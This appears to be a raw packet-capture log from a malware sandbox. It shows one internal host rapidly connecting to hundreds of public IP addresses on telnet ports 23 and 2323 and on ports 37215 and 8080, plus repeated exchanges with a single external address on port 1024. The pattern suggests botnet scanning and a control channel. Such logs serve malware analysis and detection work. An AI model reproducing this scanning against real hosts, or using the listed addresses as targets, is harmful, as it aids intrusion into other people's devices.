Oct 29, 2024 20:52:38.085475922 CET	56326	23	192.168.2.13	141.85.51.242
Oct 29, 2024 20:52:38.085493088 CET	56326	23	192.168.2.13	210.8.12.36
Oct 29, 2024 20:52:38.085494041 CET	56326	23	192.168.2.13	87.247.61.48
Oct 29, 2024 20:52:38.085505962 CET	56326	23	192.168.2.13	37.250.203.149
Oct 29, 2024 20:52:38.085508108 CET	56326	23	192.168.2.13	43.160.164.64
Oct 29, 2024 20:52:38.085519075 CET	56326	2323	192.168.2.13	61.66.97.167
Oct 29, 2024 20:52:38.085527897 CET	56326	23	192.168.2.13	149.155.42.190
Oct 29, 2024 20:52:38.085546970 CET	56326	23	192.168.2.13	37.19.161.217
Oct 29, 2024 20:52:38.085562944 CET	56326	23	192.168.2.13	174.26.217.7
Oct 29, 2024 20:52:38.085576057 CET	56326	23	192.168.2.13	180.51.138.60
Oct 29, 2024 20:52:38.085577011 CET	56326	23	192.168.2.13	132.100.29.67
Oct 29, 2024 20:52:38.085592031 CET	56326	23	192.168.2.13	142.170.95.97
Oct 29, 2024 20:52:38.085601091 CET	56326	23	192.168.2.13	19.129.13.82
Oct 29, 2024 20:52:38.085628033 CET	56326	2323	192.168.2.13	209.237.112.222
Oct 29, 2024 20:52:38.085630894 CET	56326	23	192.168.2.13	83.159.143.56
Oct 29, 2024 20:52:38.085630894 CET	56326	23	192.168.2.13	147.231.12.252
Oct 29, 2024 20:52:38.085630894 CET	56326	23	192.168.2.13	95.61.199.183
Oct 29, 2024 20:52:38.085635900 CET	56326	23	192.168.2.13	125.221.107.110
Oct 29, 2024 20:52:38.085635900 CET	56326	23	192.168.2.13	25.141.149.2
Oct 29, 2024 20:52:38.085639000 CET	56326	23	192.168.2.13	181.243.18.205
Oct 29, 2024 20:52:38.085639954 CET	56326	23	192.168.2.13	73.155.170.223
Oct 29, 2024 20:52:38.085643053 CET	56326	23	192.168.2.13	173.38.204.89
Oct 29, 2024 20:52:38.085649014 CET	56326	23	192.168.2.13	94.161.221.175
Oct 29, 2024 20:52:38.085658073 CET	56326	23	192.168.2.13	17.31.167.173
Oct 29, 2024 20:52:38.085668087 CET	56326	23	192.168.2.13	18.166.242.158
Oct 29, 2024 20:52:38.085673094 CET	56326	2323	192.168.2.13	71.94.167.15
Oct 29, 2024 20:52:38.085690022 CET	56326	23	192.168.2.13	45.10.74.58
Oct 29, 2024 20:52:38.085690022 CET	56326	23	192.168.2.13	179.131.157.249
Oct 29, 2024 20:52:38.085709095 CET	56326	23	192.168.2.13	68.238.20.156
Oct 29, 2024 20:52:38.085709095 CET	56326	23	192.168.2.13	113.84.92.209
Oct 29, 2024 20:52:38.085726023 CET	56326	23	192.168.2.13	223.11.255.237
Oct 29, 2024 20:52:38.085741043 CET	56326	23	192.168.2.13	164.79.81.83
Oct 29, 2024 20:52:38.085741043 CET	56326	23	192.168.2.13	205.110.184.234
Oct 29, 2024 20:52:38.085747004 CET	56326	23	192.168.2.13	42.33.236.115
Oct 29, 2024 20:52:38.085757971 CET	56326	23	192.168.2.13	159.79.202.60
Oct 29, 2024 20:52:38.085772038 CET	56326	23	192.168.2.13	69.127.157.156
Oct 29, 2024 20:52:38.085772991 CET	56326	2323	192.168.2.13	190.126.62.139
Oct 29, 2024 20:52:38.085787058 CET	56326	23	192.168.2.13	106.62.255.50
Oct 29, 2024 20:52:38.085838079 CET	56326	23	192.168.2.13	38.25.114.156
Oct 29, 2024 20:52:38.085854053 CET	56326	23	192.168.2.13	129.115.122.132
Oct 29, 2024 20:52:38.085860014 CET	56326	23	192.168.2.13	13.196.238.47
Oct 29, 2024 20:52:38.085900068 CET	56326	23	192.168.2.13	37.22.194.237
Oct 29, 2024 20:52:38.085910082 CET	56326	23	192.168.2.13	131.58.63.54
Oct 29, 2024 20:52:38.085923910 CET	56326	23	192.168.2.13	204.251.190.96
Oct 29, 2024 20:52:38.085931063 CET	56326	23	192.168.2.13	164.117.210.232
Oct 29, 2024 20:52:38.085938931 CET	56326	2323	192.168.2.13	83.49.224.233
Oct 29, 2024 20:52:38.085946083 CET	56326	23	192.168.2.13	63.23.19.183
Oct 29, 2024 20:52:38.085959911 CET	56326	23	192.168.2.13	64.170.46.248
Oct 29, 2024 20:52:38.085959911 CET	56326	23	192.168.2.13	48.144.235.162
Oct 29, 2024 20:52:38.085994005 CET	56326	23	192.168.2.13	161.47.187.89
Oct 29, 2024 20:52:38.086004019 CET	56326	23	192.168.2.13	202.95.47.90
Oct 29, 2024 20:52:38.086028099 CET	56326	23	192.168.2.13	112.238.116.48
Oct 29, 2024 20:52:38.086036921 CET	56326	23	192.168.2.13	96.47.232.39
Oct 29, 2024 20:52:38.086051941 CET	56326	23	192.168.2.13	218.145.111.48
Oct 29, 2024 20:52:38.086069107 CET	56326	23	192.168.2.13	109.245.248.123
Oct 29, 2024 20:52:38.086076021 CET	56326	2323	192.168.2.13	201.73.45.176
Oct 29, 2024 20:52:38.086086035 CET	56326	23	192.168.2.13	60.234.146.145
Oct 29, 2024 20:52:38.086086035 CET	56326	23	192.168.2.13	105.239.128.71
Oct 29, 2024 20:52:38.086194038 CET	56326	23	192.168.2.13	54.118.4.16
Oct 29, 2024 20:52:38.086208105 CET	56326	23	192.168.2.13	94.145.84.39
Oct 29, 2024 20:52:38.086210012 CET	56326	23	192.168.2.13	157.59.209.16
Oct 29, 2024 20:52:38.086222887 CET	56326	23	192.168.2.13	198.64.212.148
Oct 29, 2024 20:52:38.086222887 CET	56326	23	192.168.2.13	140.232.85.185
Oct 29, 2024 20:52:38.086225986 CET	56326	23	192.168.2.13	147.113.247.133
Oct 29, 2024 20:52:38.086225986 CET	56326	23	192.168.2.13	219.155.176.61
Oct 29, 2024 20:52:38.086240053 CET	56326	2323	192.168.2.13	58.17.148.151
Oct 29, 2024 20:52:38.086241961 CET	56326	23	192.168.2.13	148.169.224.249
Oct 29, 2024 20:52:38.086256027 CET	56326	23	192.168.2.13	50.221.132.211
Oct 29, 2024 20:52:38.086261988 CET	56326	23	192.168.2.13	34.79.175.71
Oct 29, 2024 20:52:38.086297035 CET	56326	23	192.168.2.13	150.214.41.231
Oct 29, 2024 20:52:38.086303949 CET	56326	23	192.168.2.13	82.25.193.86
Oct 29, 2024 20:52:38.086306095 CET	56326	23	192.168.2.13	173.18.132.103
Oct 29, 2024 20:52:38.086308002 CET	56326	23	192.168.2.13	189.55.66.15
Oct 29, 2024 20:52:38.086308956 CET	56326	23	192.168.2.13	35.148.0.39
Oct 29, 2024 20:52:38.086322069 CET	56326	23	192.168.2.13	13.206.246.246
Oct 29, 2024 20:52:38.086325884 CET	56326	23	192.168.2.13	221.2.244.109
Oct 29, 2024 20:52:38.086328983 CET	56326	2323	192.168.2.13	136.149.64.153
Oct 29, 2024 20:52:38.086342096 CET	56326	23	192.168.2.13	74.192.147.95
Oct 29, 2024 20:52:38.086345911 CET	56326	23	192.168.2.13	49.100.21.72
Oct 29, 2024 20:52:38.086364985 CET	56326	23	192.168.2.13	190.46.120.92
Oct 29, 2024 20:52:38.086369991 CET	56326	23	192.168.2.13	103.87.38.233
Oct 29, 2024 20:52:38.086373091 CET	56326	23	192.168.2.13	112.101.164.168
Oct 29, 2024 20:52:38.086388111 CET	56326	23	192.168.2.13	213.102.199.238
Oct 29, 2024 20:52:38.086393118 CET	56326	23	192.168.2.13	147.136.211.2
Oct 29, 2024 20:52:38.086440086 CET	56326	23	192.168.2.13	43.217.195.57
Oct 29, 2024 20:52:38.086447001 CET	56326	2323	192.168.2.13	156.68.236.140
Oct 29, 2024 20:52:38.086462975 CET	56326	23	192.168.2.13	91.254.176.116
Oct 29, 2024 20:52:38.086462975 CET	56326	23	192.168.2.13	148.83.101.111
Oct 29, 2024 20:52:38.086472034 CET	56326	23	192.168.2.13	31.46.13.36
Oct 29, 2024 20:52:38.086487055 CET	56326	23	192.168.2.13	168.216.27.204
Oct 29, 2024 20:52:38.086492062 CET	56326	23	192.168.2.13	96.178.189.109
Oct 29, 2024 20:52:38.086509943 CET	56326	23	192.168.2.13	164.235.17.54
Oct 29, 2024 20:52:38.086510897 CET	56326	23	192.168.2.13	32.176.176.28
Oct 29, 2024 20:52:38.086513042 CET	56326	23	192.168.2.13	186.106.25.108
Oct 29, 2024 20:52:38.086519003 CET	56326	23	192.168.2.13	178.191.224.232
Oct 29, 2024 20:52:38.086535931 CET	56326	2323	192.168.2.13	68.110.158.253
Oct 29, 2024 20:52:38.086555958 CET	56326	23	192.168.2.13	148.178.19.37
Oct 29, 2024 20:52:38.086559057 CET	56326	23	192.168.2.13	126.208.141.214
Oct 29, 2024 20:52:38.086571932 CET	56326	23	192.168.2.13	109.239.176.175
Oct 29, 2024 20:52:38.086577892 CET	56326	23	192.168.2.13	146.9.21.54
Oct 29, 2024 20:52:38.086577892 CET	56326	23	192.168.2.13	144.184.47.222
Oct 29, 2024 20:52:38.086585045 CET	56326	23	192.168.2.13	51.167.198.249
Oct 29, 2024 20:52:38.086601019 CET	56326	23	192.168.2.13	101.199.110.203
Oct 29, 2024 20:52:38.086626053 CET	56326	23	192.168.2.13	152.246.54.142
Oct 29, 2024 20:52:38.086633921 CET	56326	23	192.168.2.13	167.93.4.46
Oct 29, 2024 20:52:38.086639881 CET	56326	2323	192.168.2.13	146.160.181.220
Oct 29, 2024 20:52:38.086651087 CET	56326	23	192.168.2.13	126.131.66.36
Oct 29, 2024 20:52:38.086658955 CET	56326	23	192.168.2.13	106.26.91.189
Oct 29, 2024 20:52:38.086663008 CET	56326	23	192.168.2.13	86.12.49.4
Oct 29, 2024 20:52:38.086664915 CET	56326	23	192.168.2.13	213.44.65.159
Oct 29, 2024 20:52:38.086685896 CET	56326	23	192.168.2.13	188.165.230.73
Oct 29, 2024 20:52:38.086688995 CET	56326	23	192.168.2.13	197.169.120.34
Oct 29, 2024 20:52:38.086694002 CET	56326	23	192.168.2.13	106.14.196.25
Oct 29, 2024 20:52:38.086702108 CET	56326	23	192.168.2.13	143.101.22.195
Oct 29, 2024 20:52:38.086707115 CET	56326	23	192.168.2.13	40.144.18.216
Oct 29, 2024 20:52:38.086719036 CET	56326	2323	192.168.2.13	202.8.173.24
Oct 29, 2024 20:52:38.086729050 CET	56326	23	192.168.2.13	176.114.218.15
Oct 29, 2024 20:52:38.086735010 CET	56326	23	192.168.2.13	186.90.192.121
Oct 29, 2024 20:52:38.086751938 CET	56326	23	192.168.2.13	119.202.254.4
Oct 29, 2024 20:52:38.086752892 CET	56326	23	192.168.2.13	65.235.254.148
Oct 29, 2024 20:52:38.086766005 CET	56326	23	192.168.2.13	222.216.4.204
Oct 29, 2024 20:52:38.086801052 CET	56326	23	192.168.2.13	152.84.124.217
Oct 29, 2024 20:52:38.086807966 CET	56326	23	192.168.2.13	41.121.233.213
Oct 29, 2024 20:52:38.086813927 CET	56326	23	192.168.2.13	25.31.242.178
Oct 29, 2024 20:52:38.086832047 CET	56326	2323	192.168.2.13	44.206.52.177
Oct 29, 2024 20:52:38.086839914 CET	56326	23	192.168.2.13	176.145.226.173
Oct 29, 2024 20:52:38.086848021 CET	56326	23	192.168.2.13	124.186.1.35
Oct 29, 2024 20:52:38.086848021 CET	56326	23	192.168.2.13	206.61.28.28
Oct 29, 2024 20:52:38.086860895 CET	56326	23	192.168.2.13	153.91.34.163
Oct 29, 2024 20:52:38.086862087 CET	56326	23	192.168.2.13	75.30.209.227
Oct 29, 2024 20:52:38.086873055 CET	56326	23	192.168.2.13	148.120.164.41
Oct 29, 2024 20:52:38.086878061 CET	56326	23	192.168.2.13	222.192.49.93
Oct 29, 2024 20:52:38.086898088 CET	56326	23	192.168.2.13	96.219.79.117
Oct 29, 2024 20:52:38.086899042 CET	56326	23	192.168.2.13	12.157.16.93
Oct 29, 2024 20:52:38.086909056 CET	56326	23	192.168.2.13	197.191.239.42
Oct 29, 2024 20:52:38.086930990 CET	56326	2323	192.168.2.13	20.246.156.251
Oct 29, 2024 20:52:38.086936951 CET	56326	23	192.168.2.13	161.38.174.249
Oct 29, 2024 20:52:38.086945057 CET	56326	23	192.168.2.13	41.160.77.8
Oct 29, 2024 20:52:38.086945057 CET	56326	23	192.168.2.13	203.24.230.154
Oct 29, 2024 20:52:38.086952925 CET	56326	23	192.168.2.13	37.243.126.5
Oct 29, 2024 20:52:38.086954117 CET	56326	23	192.168.2.13	44.104.166.45
Oct 29, 2024 20:52:38.086971045 CET	56326	23	192.168.2.13	211.231.113.193
Oct 29, 2024 20:52:38.086992025 CET	56326	23	192.168.2.13	92.242.129.56
Oct 29, 2024 20:52:38.086992025 CET	56326	23	192.168.2.13	178.151.18.154
Oct 29, 2024 20:52:38.087013960 CET	56326	23	192.168.2.13	202.135.156.75
Oct 29, 2024 20:52:38.087038994 CET	56326	23	192.168.2.13	48.103.84.160
Oct 29, 2024 20:52:38.087043047 CET	56326	2323	192.168.2.13	80.83.8.92
Oct 29, 2024 20:52:38.087043047 CET	56326	23	192.168.2.13	92.95.174.220
Oct 29, 2024 20:52:38.087043047 CET	56326	23	192.168.2.13	123.16.123.24
Oct 29, 2024 20:52:38.087044001 CET	56326	23	192.168.2.13	158.7.206.27
Oct 29, 2024 20:52:38.087044001 CET	56326	23	192.168.2.13	164.147.64.1
Oct 29, 2024 20:52:38.087059975 CET	56326	23	192.168.2.13	61.190.125.232
Oct 29, 2024 20:52:38.087071896 CET	56326	23	192.168.2.13	193.131.135.126
Oct 29, 2024 20:52:38.087091923 CET	56326	23	192.168.2.13	141.133.81.78
Oct 29, 2024 20:52:38.087091923 CET	56326	2323	192.168.2.13	48.63.101.184
Oct 29, 2024 20:52:38.087094069 CET	56326	23	192.168.2.13	98.114.152.9
Oct 29, 2024 20:52:38.087246895 CET	41814	1024	192.168.2.13	2.58.113.110
Oct 29, 2024 20:52:38.087412119 CET	56326	23	192.168.2.13	131.182.113.220
Oct 29, 2024 20:52:38.087416887 CET	56326	23	192.168.2.13	12.102.220.233
Oct 29, 2024 20:52:38.087430000 CET	56326	23	192.168.2.13	158.153.163.198
Oct 29, 2024 20:52:38.087438107 CET	56326	23	192.168.2.13	103.87.151.134
Oct 29, 2024 20:52:38.087438107 CET	56326	23	192.168.2.13	97.127.239.173
Oct 29, 2024 20:52:38.087450027 CET	56326	23	192.168.2.13	88.153.195.93
Oct 29, 2024 20:52:38.087460041 CET	56326	23	192.168.2.13	145.138.103.197
Oct 29, 2024 20:52:38.087467909 CET	56326	23	192.168.2.13	143.35.176.123
Oct 29, 2024 20:52:38.087481022 CET	56326	23	192.168.2.13	4.156.188.190
Oct 29, 2024 20:52:38.087482929 CET	56326	2323	192.168.2.13	201.214.77.189
Oct 29, 2024 20:52:38.087495089 CET	56326	23	192.168.2.13	48.24.228.21
Oct 29, 2024 20:52:38.087513924 CET	56326	23	192.168.2.13	153.227.6.88
Oct 29, 2024 20:52:38.087516069 CET	56326	23	192.168.2.13	18.109.39.53
Oct 29, 2024 20:52:38.087531090 CET	56326	23	192.168.2.13	41.31.62.165
Oct 29, 2024 20:52:38.087532997 CET	56326	23	192.168.2.13	139.56.115.21
Oct 29, 2024 20:52:38.087552071 CET	56326	23	192.168.2.13	98.205.73.208
Oct 29, 2024 20:52:38.087553024 CET	56326	23	192.168.2.13	17.63.31.17
Oct 29, 2024 20:52:38.087554932 CET	56326	23	192.168.2.13	87.135.134.37
Oct 29, 2024 20:52:38.087572098 CET	56326	23	192.168.2.13	54.105.108.180
Oct 29, 2024 20:52:38.087574959 CET	56326	2323	192.168.2.13	84.4.183.109
Oct 29, 2024 20:52:38.087584972 CET	56326	23	192.168.2.13	178.93.49.191
Oct 29, 2024 20:52:38.087591887 CET	56326	23	192.168.2.13	122.6.9.255
Oct 29, 2024 20:52:38.087641001 CET	56326	23	192.168.2.13	116.235.114.159
Oct 29, 2024 20:52:38.087645054 CET	56326	23	192.168.2.13	14.236.178.201
Oct 29, 2024 20:52:38.087665081 CET	56326	23	192.168.2.13	121.193.56.225
Oct 29, 2024 20:52:38.087666988 CET	56326	23	192.168.2.13	54.59.197.50
Oct 29, 2024 20:52:38.087683916 CET	56326	23	192.168.2.13	1.217.193.116
Oct 29, 2024 20:52:38.087711096 CET	56326	2323	192.168.2.13	47.238.250.212
Oct 29, 2024 20:52:38.087713003 CET	56326	23	192.168.2.13	9.65.166.132
Oct 29, 2024 20:52:38.087713957 CET	56326	23	192.168.2.13	67.19.165.41
Oct 29, 2024 20:52:38.087723017 CET	56326	23	192.168.2.13	197.234.149.116
Oct 29, 2024 20:52:38.087727070 CET	56326	23	192.168.2.13	69.237.122.163
Oct 29, 2024 20:52:38.087733984 CET	56326	23	192.168.2.13	196.234.103.223
Oct 29, 2024 20:52:38.087749004 CET	56326	23	192.168.2.13	42.119.73.51
Oct 29, 2024 20:52:38.087764978 CET	56326	23	192.168.2.13	152.61.70.40
Oct 29, 2024 20:52:38.087793112 CET	56326	23	192.168.2.13	66.66.155.122
Oct 29, 2024 20:52:38.087793112 CET	56326	23	192.168.2.13	159.143.53.21
Oct 29, 2024 20:52:38.087814093 CET	56326	23	192.168.2.13	187.1.57.43
Oct 29, 2024 20:52:38.087814093 CET	56326	23	192.168.2.13	163.36.253.165
Oct 29, 2024 20:52:38.087841988 CET	56326	2323	192.168.2.13	188.162.2.33
Oct 29, 2024 20:52:38.087841988 CET	56326	23	192.168.2.13	64.233.228.185
Oct 29, 2024 20:52:38.087841988 CET	56326	23	192.168.2.13	134.163.98.22
Oct 29, 2024 20:52:38.087847948 CET	56326	23	192.168.2.13	24.200.186.208
Oct 29, 2024 20:52:38.087850094 CET	56326	23	192.168.2.13	130.14.54.121
Oct 29, 2024 20:52:38.087867022 CET	56326	23	192.168.2.13	132.132.211.13
Oct 29, 2024 20:52:38.087874889 CET	56326	23	192.168.2.13	49.24.144.50
Oct 29, 2024 20:52:38.087874889 CET	56326	23	192.168.2.13	91.10.197.97
Oct 29, 2024 20:52:38.087888956 CET	56326	23	192.168.2.13	38.145.128.134
Oct 29, 2024 20:52:38.087889910 CET	56326	23	192.168.2.13	88.72.164.42
Oct 29, 2024 20:52:38.087907076 CET	56326	2323	192.168.2.13	141.185.204.66
Oct 29, 2024 20:52:38.087910891 CET	56326	23	192.168.2.13	106.71.230.249
Oct 29, 2024 20:52:38.087920904 CET	56326	23	192.168.2.13	51.159.54.38
Oct 29, 2024 20:52:38.087935925 CET	56326	23	192.168.2.13	58.24.36.93
Oct 29, 2024 20:52:38.087950945 CET	56326	23	192.168.2.13	24.132.145.68
Oct 29, 2024 20:52:38.087954044 CET	56326	23	192.168.2.13	165.87.63.57
Oct 29, 2024 20:52:38.087981939 CET	56326	23	192.168.2.13	107.49.137.69
Oct 29, 2024 20:52:38.087996960 CET	56326	23	192.168.2.13	213.70.209.242
Oct 29, 2024 20:52:38.088011026 CET	56326	23	192.168.2.13	180.67.25.74
Oct 29, 2024 20:52:38.088012934 CET	56326	23	192.168.2.13	223.2.10.255
Oct 29, 2024 20:52:38.088012934 CET	56326	2323	192.168.2.13	175.189.238.226
Oct 29, 2024 20:52:38.088017941 CET	56326	23	192.168.2.13	143.14.138.98
Oct 29, 2024 20:52:38.088022947 CET	56326	23	192.168.2.13	115.74.117.82
Oct 29, 2024 20:52:38.088047028 CET	56326	23	192.168.2.13	1.90.221.196
Oct 29, 2024 20:52:38.088062048 CET	56326	23	192.168.2.13	37.20.199.146
Oct 29, 2024 20:52:38.088067055 CET	56326	23	192.168.2.13	136.79.142.245
Oct 29, 2024 20:52:38.088082075 CET	56326	23	192.168.2.13	210.172.143.157
Oct 29, 2024 20:52:38.088082075 CET	56326	23	192.168.2.13	217.71.43.181
Oct 29, 2024 20:52:38.088140965 CET	56326	23	192.168.2.13	12.78.117.129
Oct 29, 2024 20:52:38.088140965 CET	56326	2323	192.168.2.13	198.62.215.231
Oct 29, 2024 20:52:38.088144064 CET	56326	23	192.168.2.13	72.222.98.220
Oct 29, 2024 20:52:38.088160038 CET	56326	23	192.168.2.13	188.191.131.134
Oct 29, 2024 20:52:38.088174105 CET	56326	23	192.168.2.13	207.17.26.19
Oct 29, 2024 20:52:38.088174105 CET	56326	23	192.168.2.13	54.184.220.109
Oct 29, 2024 20:52:38.088175058 CET	56326	23	192.168.2.13	126.56.190.73
Oct 29, 2024 20:52:38.088191032 CET	56326	23	192.168.2.13	41.35.22.138
Oct 29, 2024 20:52:38.088195086 CET	56326	23	192.168.2.13	182.35.105.148
Oct 29, 2024 20:52:38.088211060 CET	56326	23	192.168.2.13	66.162.99.123
Oct 29, 2024 20:52:38.088226080 CET	56326	23	192.168.2.13	216.231.141.227
Oct 29, 2024 20:52:38.088226080 CET	56326	23	192.168.2.13	72.131.99.91
Oct 29, 2024 20:52:38.088238955 CET	56326	2323	192.168.2.13	161.220.41.113
Oct 29, 2024 20:52:38.088254929 CET	56326	23	192.168.2.13	34.211.213.195
Oct 29, 2024 20:52:38.088267088 CET	56326	23	192.168.2.13	170.169.18.27
Oct 29, 2024 20:52:38.088267088 CET	56326	23	192.168.2.13	149.240.181.107
Oct 29, 2024 20:52:38.088291883 CET	56326	23	192.168.2.13	153.238.63.173
Oct 29, 2024 20:52:38.088291883 CET	56326	23	192.168.2.13	40.182.157.174
Oct 29, 2024 20:52:38.088315010 CET	56326	23	192.168.2.13	4.181.6.204
Oct 29, 2024 20:52:38.088339090 CET	56326	23	192.168.2.13	172.167.32.193
Oct 29, 2024 20:52:38.088345051 CET	56326	23	192.168.2.13	203.10.188.129
Oct 29, 2024 20:52:38.088378906 CET	56326	23	192.168.2.13	24.89.194.24
Oct 29, 2024 20:52:38.088395119 CET	56326	2323	192.168.2.13	191.11.88.37
Oct 29, 2024 20:52:38.088399887 CET	56326	23	192.168.2.13	2.202.183.16
Oct 29, 2024 20:52:38.088404894 CET	56326	23	192.168.2.13	81.130.216.29
Oct 29, 2024 20:52:38.088429928 CET	56326	23	192.168.2.13	160.37.146.223
Oct 29, 2024 20:52:38.088439941 CET	56326	23	192.168.2.13	18.198.33.136
Oct 29, 2024 20:52:38.088468075 CET	56326	23	192.168.2.13	45.125.153.191
Oct 29, 2024 20:52:38.088470936 CET	56326	23	192.168.2.13	122.173.100.53
Oct 29, 2024 20:52:38.088485003 CET	56326	23	192.168.2.13	64.7.158.248
Oct 29, 2024 20:52:38.088489056 CET	56326	23	192.168.2.13	161.108.229.16
Oct 29, 2024 20:52:38.088490009 CET	56326	23	192.168.2.13	94.133.209.60
Oct 29, 2024 20:52:38.088510036 CET	56326	2323	192.168.2.13	20.98.57.27
Oct 29, 2024 20:52:38.088519096 CET	56326	23	192.168.2.13	195.166.137.159
Oct 29, 2024 20:52:38.088520050 CET	56326	23	192.168.2.13	41.172.221.217
Oct 29, 2024 20:52:38.088529110 CET	56326	23	192.168.2.13	126.7.175.90
Oct 29, 2024 20:52:38.088547945 CET	56326	23	192.168.2.13	177.137.162.199
Oct 29, 2024 20:52:38.088548899 CET	56326	23	192.168.2.13	222.9.239.220
Oct 29, 2024 20:52:38.088563919 CET	56326	23	192.168.2.13	131.225.227.151
Oct 29, 2024 20:52:38.088563919 CET	56326	23	192.168.2.13	90.150.41.12
Oct 29, 2024 20:52:38.088565111 CET	56326	23	192.168.2.13	62.122.120.186
Oct 29, 2024 20:52:38.088601112 CET	56326	23	192.168.2.13	102.7.69.73
Oct 29, 2024 20:52:38.088608980 CET	56326	2323	192.168.2.13	167.110.17.247
Oct 29, 2024 20:52:38.088627100 CET	56326	23	192.168.2.13	90.73.185.204
Oct 29, 2024 20:52:38.088629007 CET	56326	23	192.168.2.13	184.56.153.196
Oct 29, 2024 20:52:38.088664055 CET	42812	8080	192.168.2.13	95.191.176.62
Oct 29, 2024 20:52:38.088666916 CET	56326	23	192.168.2.13	48.100.252.124
Oct 29, 2024 20:52:38.090572119 CET	60794	37215	192.168.2.13	197.227.102.38
Oct 29, 2024 20:52:38.092546940 CET	1024	41814	2.58.113.110	192.168.2.13
Oct 29, 2024 20:52:38.092597961 CET	41814	1024	192.168.2.13	2.58.113.110
Oct 29, 2024 20:52:38.092683077 CET	23	56326	131.182.113.220	192.168.2.13
Oct 29, 2024 20:52:38.092750072 CET	56326	23	192.168.2.13	131.182.113.220
Oct 29, 2024 20:52:38.097134113 CET	40180	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:38.098036051 CET	52312	8080	192.168.2.13	62.118.222.62
Oct 29, 2024 20:52:38.098906040 CET	1024	41814	2.58.113.110	192.168.2.13
Oct 29, 2024 20:52:38.101584911 CET	43178	37215	192.168.2.13	197.157.75.10
Oct 29, 2024 20:52:38.103528023 CET	37215	40180	197.176.33.243	192.168.2.13
Oct 29, 2024 20:52:38.103583097 CET	40180	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:38.103790998 CET	55738	37215	192.168.2.13	197.67.34.25
Oct 29, 2024 20:52:38.109632969 CET	48404	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:38.110351086 CET	53318	8080	192.168.2.13	94.181.3.61
Oct 29, 2024 20:52:38.114260912 CET	60724	37215	192.168.2.13	197.72.212.69
Oct 29, 2024 20:52:38.115178108 CET	37215	48404	197.103.124.224	192.168.2.13
Oct 29, 2024 20:52:38.115230083 CET	48404	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:38.115736008 CET	43060	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.117507935 CET	60472	37215	192.168.2.13	197.20.141.51
Oct 29, 2024 20:52:38.121062994 CET	8080	43060	95.53.7.16	192.168.2.13
Oct 29, 2024 20:52:38.121124029 CET	43060	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.134560108 CET	41004	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.134814024 CET	37524	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:38.139935970 CET	8080	41004	31.10.85.213	192.168.2.13
Oct 29, 2024 20:52:38.139985085 CET	41004	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.160166025 CET	37040	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:38.165606022 CET	37215	37040	197.58.85.58	192.168.2.13
Oct 29, 2024 20:52:38.165688992 CET	37040	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:38.167979002 CET	39060	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.173341990 CET	8080	39060	62.141.92.245	192.168.2.13
Oct 29, 2024 20:52:38.173405886 CET	39060	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.176317930 CET	36660	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:38.176808119 CET	60940	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.181762934 CET	37215	36660	197.125.60.143	192.168.2.13
Oct 29, 2024 20:52:38.181819916 CET	36660	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:38.182099104 CET	8080	60940	31.120.245.195	192.168.2.13
Oct 29, 2024 20:52:38.182169914 CET	60940	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.183053970 CET	57180	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:38.183263063 CET	52088	8080	192.168.2.13	94.30.144.108
Oct 29, 2024 20:52:38.188472033 CET	37215	57180	197.20.183.134	192.168.2.13
Oct 29, 2024 20:52:38.188522100 CET	57180	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:38.198801041 CET	41278	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:38.199162960 CET	38934	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.203739882 CET	47374	37215	192.168.2.13	197.193.82.48
Oct 29, 2024 20:52:38.203859091 CET	42754	8080	192.168.2.13	94.166.57.45
Oct 29, 2024 20:52:38.204143047 CET	37215	41278	197.75.251.41	192.168.2.13
Oct 29, 2024 20:52:38.204194069 CET	41278	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:38.204488039 CET	8080	38934	85.59.61.243	192.168.2.13
Oct 29, 2024 20:52:38.204570055 CET	38934	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.206012011 CET	58166	37215	192.168.2.13	197.78.100.78
Oct 29, 2024 20:52:38.206192970 CET	43734	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:38.219106913 CET	43566	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:38.220530987 CET	34170	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.222507000 CET	48994	37215	192.168.2.13	197.36.244.219
Oct 29, 2024 20:52:38.224370003 CET	50162	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:38.224549055 CET	37215	43566	197.61.144.176	192.168.2.13
Oct 29, 2024 20:52:38.224611044 CET	43566	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:38.225934029 CET	8080	34170	31.128.214.100	192.168.2.13
Oct 29, 2024 20:52:38.225936890 CET	36130	37215	192.168.2.13	197.238.217.234
Oct 29, 2024 20:52:38.225982904 CET	34170	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.228043079 CET	47392	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.229337931 CET	45436	37215	192.168.2.13	197.162.232.23
Oct 29, 2024 20:52:38.231693983 CET	59710	8080	192.168.2.13	95.98.151.140
Oct 29, 2024 20:52:38.232831955 CET	51736	37215	192.168.2.13	197.153.19.143
Oct 29, 2024 20:52:38.233355045 CET	8080	47392	85.45.42.252	192.168.2.13
Oct 29, 2024 20:52:38.233474016 CET	47392	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.235467911 CET	40262	8080	192.168.2.13	62.166.107.70
